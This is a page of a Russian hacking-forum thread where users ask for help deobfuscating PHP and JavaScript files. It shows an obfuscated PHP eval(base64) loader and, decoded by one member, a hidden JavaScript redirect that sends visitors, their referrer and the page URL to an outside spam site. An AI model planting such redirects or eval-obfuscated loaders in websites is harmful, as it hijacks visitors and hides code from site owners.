Обфускация кода (вопросы, просьбы зашифровать/расшифровать скрипт )

Discussion in 'PHP' started by Sharky, 29 Sep 2009.

Page 27 of 55
  1. daniel777

    daniel777 Elder - Старейшина

    Joined:
    8 Jul 2010
    Messages:
    517
    Likes Received:
    90
    Reputations:
    37
    Прошу помочь с расшифровкой javascript:
    http://pastebin.mozilla-russia.org/109991
     
    #521 daniel777, 9 Apr 2012
    1 person likes this.
  2. ReanimatoR

    ReanimatoR Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    120
    Likes Received:
    118
    Reputations:
    34
    Помогите пожалуйста :)
    http://pastebin.com/1TgG2Ba0
    Вот так начинается
    Code:
    if(!function_exists("agF1gTdKEBPd6CaJ")) {function agF1gTdKEBPd6CaJ($ekV4gb3DGH29YotI) {$fYZ2g87NjIGLnXVg="";$rZJ3glaFcSAz0dZY=0;$qVh0gqGnK20A4iOB=strlen($ekV4gb3DGH29YotI);while($rZJ3glaFcSAz0dZY <$qVh0gqGnK20A4iOB) {if($ekV4gb3DGH29YotI[$rZJ3glaFcSAz0dZY] == ' ') {$fYZ2g87NjIGLnXVg.=" ";}else if($ekV4gb3DGH29YotI[$rZJ3glaFcSAz0dZY] == '!') {$fYZ2g87NjIGLnXVg.=chr((ord($ekV4gb3DGH29YotI[$rZJ3glaFcSAz0dZY+1])-ord('A'))*16+(ord($ekV4gb3DGH29YotI[$rZJ3glaFcSAz0dZY+2])-ord('a')));$rZJ3glaFcSAz0dZY+=2;}else {$fYZ2g87NjIGLnXVg.=chr(ord($ekV4gb3DGH29YotI[$rZJ3glaFcSAz0dZY])+1);}$rZJ3glaFcSAz0dZY++;}return $fYZ2g87NjIGLnXVg;}}
     
    #522 ReanimatoR, 10 Apr 2012
  3. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    733
    Likes Received:
    73
    Reputations:
    19
    ReanimatoR, http://pastebin.com/gkgxBtDk
    daniel777 , http://pastebin.com/pgtxfFiq
     
    #523 mironich, 10 Apr 2012
    Last edited: 10 Apr 2012
    1 person likes this.
  4. ReanimatoR

    ReanimatoR Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    120
    Likes Received:
    118
    Reputations:
    34
    Спасибо большое, а более читабельный вид никак не сдлелать? я к такому тоже пришел :( Думал мало ли накосячил хде:rolleyes:
     
    #524 ReanimatoR, 10 Apr 2012
    Last edited: 10 Apr 2012
  5. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    733
    Likes Received:
    73
    Reputations:
    19
    ReanimatoR, дальше как тебе удобно замени все коды символов из \151 такого в представления в нормальное)
     
    #525 mironich, 10 Apr 2012
  6. krapivin

    krapivin New Member

    Joined:
    13 Nov 2011
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Народ, что это такое? можно расшифровать?

    Народ, что это такое? можно расшифровать?

    http://pastebin.com/SfVL69et
     
    #526 krapivin, 14 Apr 2012
    Last edited by a moderator: 14 Apr 2012
  7. genic

    genic New Member

    Joined:
    13 Nov 2011
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте.
    Помогите пожалуйста раскодировать два файла:
    1. http://pastebin.com/k7PT0CUq
    2. http://pastebin.com/ZtC40y2Z
    Заранее спасибо.
     
    #527 genic, 22 Apr 2012
  8. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    http://pastebin.com/KpZuRph4
    http://pastebin.com/HSpgaCf1
     
    _________________________
    #528 Kaimi, 22 Apr 2012
    1 person likes this.
  9. genic

    genic New Member

    Joined:
    13 Nov 2011
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Огромное спасибо.
     
    #529 genic, 22 Apr 2012
  10. VinVega

    VinVega New Member

    Joined:
    18 Apr 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте. Помогите пожалуйста раскодировать файл:
    http://pastebin.com/n7XcNG2d
     
    #530 VinVega, 23 Apr 2012
  11. alex-desktop

    alex-desktop New Member

    Joined:
    22 Mar 2011
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте, подскажите как дешифровать данный код.
    Code:
    <?php /* This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited. */ $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'); $OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}; $OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16}; $OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5}; $OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15}; $O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14}; $O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3}; $O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16}; $OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8}; $OOO0O0O00=__FILE__; $OO00O0000=0x80; eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NGY3KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdTaFU0WTF0b2lEa1QzMHlkcGZtTng5Zy9BY1BWWHpMd0dKS01hSFdCUkYrRThudlFyZXE1YnMyNk83bHVDWmpJPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs=')); return; ?>xODYZd34hd34hd34s5zoDwXW9rVt1McmGB/sZtmxe1/sCBTUiBiKOaNbZd3YCrN5SrTKiBiKraNbZd34Sr3YCrkUfdNbCr34Sr3YCRDYCrN5SrNbCr3UGaN5Sr3YCrN5SrTUfdN5SrN5Sr34SFTUzNP1xbgN1bV2HYPsp53oHaXtcnNBG7cqZhAshggoF3zbzkmbsJm1zUxaAEfNJvzH1qc/YsAB3q0aC6Vo94gWFDdmX8Db1Upbf1fazimxFTNYsyNshfxH0x99c/g1HPAgDMct9Wc2JFPWn8Vg7QXo1qX6fszBzOL/Rr3Ni504x205G7kqCBkmaFy2cMVtZ5cmGaN5Sr3YCrN5SrkNnHzW18kUfdN5SrN5SrN5SFyr==cg0RVqSBuuvID58kcg0RVqSKdoSGAgeFc2OZD20HVBfHXKXjft9MV2pGbAopQ0UjbATfG0UOi0tobTOGbA3GbT5pnzUZbACGbT/fGztUbArGbD7wbTOCT6SjiM8kyr==UTOijjU
     
    #531 alex-desktop, 25 Apr 2012
  12. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Легко и непринужденно, особенно если форматирование не нарушено
    http://pastebin.com/aW66gpbW
     
    _________________________
    #532 Kaimi, 26 Apr 2012
  13. necroleptick

    necroleptick Member

    Joined:
    3 Jan 2011
    Messages:
    105
    Likes Received:
    11
    Reputations:
    0
    это обычный base64

    http://base64.ru/

    'o1EB5LinuYdDnujMuVevsg==' => '㑁丧釃闯'
     
    #533 necroleptick, 27 Apr 2012
    Last edited: 27 Apr 2012
  14. artful

    artful New Member

    Joined:
    20 Aug 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Деобфускация JavaScript

    Приветствую. А кто-нибудь сможет расшифровать такой ява-скрипт?
    http://pastebin.com/zMi6vUvg
     
    #534 artful, 8 May 2012
  15. limme

    limme New Member

    Joined:
    7 May 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте. Помогите, пожалуйста, с этим файлом

    http://pastebin.com/3MVji2JB

    Заранее спасибо.
     
    #535 limme, 8 May 2012
  16. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Видимо
    Code:
    window.location=("http://searchglobalsite.com/in.cgi?24&seoref="+encodeURIComponent(document.referrer)+ "&parameter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&default_keyword=cialis");
     
    _________________________
    #536 Kaimi, 9 May 2012
  17. artful

    artful New Member

    Joined:
    20 Aug 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Премного благодарен
     
    #537 artful, 10 May 2012
  18. AppS

    AppS Member

    Joined:
    8 Aug 2009
    Messages:
    249
    Likes Received:
    25
    Reputations:
    6
    Заранее спасибо
    http://pastebin.com/aBj7zJrA
    PHP
     
    #538 AppS, 11 May 2012
  19. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    http://pastebin.com/Tja0mQUQ
     
    #539 |qbz|, 11 May 2012
  20. Daemon1990

    Daemon1990 New Member

    Joined:
    10 May 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Obfuscation provided by FOPO

    Помогите разобраться хочу расшифровать вот эти файлы http://full-files.com/60s6bwac27i9/untitled.rar.html не знаю как помогите пожалуйста

    и если можно я в этом вообще не разбираюсь, как? в каком ПО? проводиться преобразование и если можно опишите его по пунктам.
    Спасибо!
     
    #540 Daemon1990, 12 May 2012
    Last edited: 12 May 2012
(You must log in or sign up to post here.)
Page 27 of 55
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.